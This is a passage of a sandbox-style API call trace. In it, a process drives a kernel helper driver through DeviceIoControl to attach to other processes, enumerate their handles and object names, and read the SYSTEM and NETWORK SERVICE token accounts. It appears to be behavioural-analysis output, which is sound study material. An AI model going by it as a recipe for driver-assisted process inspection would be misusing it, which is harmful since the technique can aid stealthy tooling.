KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0) [0072.410] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80029139c0, HandleInformation=0x0) returned 0x0 [0072.410] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.410] PsReleaseProcessExitSynchronization () returned 0x2 [0072.410] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x28 [0072.410] ObQueryNameString (in: Object=0xfffffa80029139c0, ObjectNameInfo=0xfffffa80039f8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.410] ObfDereferenceObject (Object=0xfffffa80029139c0) returned 0x3 [0072.410] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.411] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.411] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.411] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.411] PsAcquireProcessExitSynchronization () returned 0x0 [0072.411] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0) [0072.411] ObReferenceObjectByHandle (in: Handle=0xfc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002913bd0, HandleInformation=0x0) returned 0x0 [0072.411] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.411] PsReleaseProcessExitSynchronization () returned 0x2 [0072.411] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x28 [0072.411] ObQueryNameString (in: Object=0xfffffa8002913bd0, ObjectNameInfo=0xfffffa80039f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.411] ObfDereferenceObject (Object=0xfffffa8002913bd0) returned 0x3 [0072.411] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.411] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.411] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x674) returned 0xc0 [0072.411] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.411] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003c03630, HandleInformation=0x0) returned 0x0 [0072.411] ObOpenObjectByPointer (in: Object=0xfffffa8003c03630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.411] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x38 [0072.411] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.411] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.411] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.411] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.411] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.413] CloseHandle (hObject=0xc8) returned 1 [0072.413] CloseHandle (hObject=0xc0) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0072.413] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.413] PsAcquireProcessExitSynchronization () returned 0x0 [0072.413] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0) [0072.413] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800282e8d0, HandleInformation=0x0) returned 0x0 [0072.413] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.413] PsReleaseProcessExitSynchronization () returned 0x2 [0072.413] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0072.413] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039fa044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fa044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.413] ObfDereferenceObject (Object=0xfffffa800282e8d0) returned 0x1 [0072.413] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.413] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.413] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.413] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.413] PsAcquireProcessExitSynchronization () returned 0x0 [0072.413] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0) [0072.413] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003c3ae60, HandleInformation=0x0) returned 0x0 [0072.413] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.413] PsReleaseProcessExitSynchronization () returned 0x2 [0072.413] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0072.413] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039fb044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fb044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.414] ObfDereferenceObject (Object=0xfffffa8003c3ae60) returned 0x1 [0072.414] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.414] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0072.414] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.414] PsAcquireProcessExitSynchronization () returned 0x0 [0072.414] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0) [0072.414] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800feae350, HandleInformation=0x0) returned 0x0 [0072.414] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.414] PsReleaseProcessExitSynchronization () returned 0x2 [0072.414] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0072.414] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039fc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.414] ObfDereferenceObject (Object=0xfffffa800feae350) returned 0x1 [0072.414] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.414] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0072.414] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.414] PsAcquireProcessExitSynchronization () returned 0x0 [0072.414] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0) [0072.414] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800cabbea0, HandleInformation=0x0) returned 0x0 [0072.414] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.414] PsReleaseProcessExitSynchronization () returned 0x2 [0072.414] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0072.414] ObQueryNameString (in: Object=0xfffffa800281b200, ObjectNameInfo=0xfffffa80039fd044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039fd044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.414] ObfDereferenceObject (Object=0xfffffa800cabbea0) returned 0x1 [0072.414] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.414] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.414] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0072.415] PsLookupProcessByProcessId (in: ProcessId=0x674, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.415] PsAcquireProcessExitSynchronization () returned 0x0 [0072.415] KeStackAttachProcess (in: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c03630, ApcState=0xfffff880054f85d0) [0072.415] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0072.415] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.415] PsReleaseProcessExitSynchronization () returned 0x2 [0072.415] ObfDereferenceObject (Object=0xfffffa8003c03630) returned 0x36 [0072.415] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.415] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0072.415] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.415] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.415] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x738) returned 0xc0 [0072.415] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.415] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8003c04ab0, HandleInformation=0x0) returned 0x0 [0072.415] ObOpenObjectByPointer (in: Object=0xfffffa8003c04ab0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.415] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xae [0072.415] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.415] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.415] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.415] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.415] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.417] CloseHandle (hObject=0xc8) returned 1 [0072.417] CloseHandle (hObject=0xc0) returned 1 [0072.417] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.417] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0072.417] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.417] PsAcquireProcessExitSynchronization () returned 0x0 [0072.417] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.417] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80029137b0, HandleInformation=0x0) returned 0x0 [0072.417] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.417] PsReleaseProcessExitSynchronization () returned 0x2 [0072.417] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.417] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.418] ObfDereferenceObject (Object=0xfffffa80029137b0) returned 0x1 [0072.418] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.418] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.418] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.418] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.418] PsAcquireProcessExitSynchronization () returned 0x0 [0072.418] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.418] ObReferenceObjectByHandle (in: Handle=0x60, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800fdff470, HandleInformation=0x0) returned 0x0 [0072.418] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.418] PsReleaseProcessExitSynchronization () returned 0x2 [0072.418] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.418] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039b9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.418] ObfDereferenceObject (Object=0xfffffa800fdff470) returned 0x1 [0072.418] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.418] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.418] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.418] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0072.418] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.418] PsAcquireProcessExitSynchronization () returned 0x0 [0072.418] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.418] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0072.418] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.419] PsReleaseProcessExitSynchronization () returned 0x2 [0072.419] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.419] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80039e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.419] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0072.419] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.419] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0072.419] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.419] PsAcquireProcessExitSynchronization () returned 0x0 [0072.419] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.419] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800eb5bbc0, HandleInformation=0x0) returned 0x0 [0072.419] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.419] PsReleaseProcessExitSynchronization () returned 0x2 [0072.419] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.419] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039df044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039df044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.419] ObfDereferenceObject (Object=0xfffffa800eb5bbc0) returned 0x21 [0072.419] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.419] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.419] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.419] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.419] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.419] PsAcquireProcessExitSynchronization () returned 0x0 [0072.419] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.419] ObReferenceObjectByHandle (in: Handle=0x270, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002254f20, HandleInformation=0x0) returned 0x0 [0072.419] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.420] PsReleaseProcessExitSynchronization () returned 0x2 [0072.420] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.420] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039de044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039de044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.420] ObfDereferenceObject (Object=0xfffffa8002254f20) returned 0x1 [0072.420] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.420] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.420] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xe4, lpOverlapped=0x0) returned 1 [0072.420] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.420] PsAcquireProcessExitSynchronization () returned 0x0 [0072.420] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880054f85d0) [0072.420] ObReferenceObjectByHandle (in: Handle=0x390, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800193d340, HandleInformation=0x0) returned 0x0 [0072.420] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.420] PsReleaseProcessExitSynchronization () returned 0x2 [0072.420] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xac [0072.420] ObQueryNameString (in: Object=0xfffffa800193d340, ObjectNameInfo=0xfffffa80039dd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039dd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.420] ObfDereferenceObject (Object=0xfffffa800193d340) returned 0x3 [0072.420] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.420] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.420] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.421] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0072.421] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 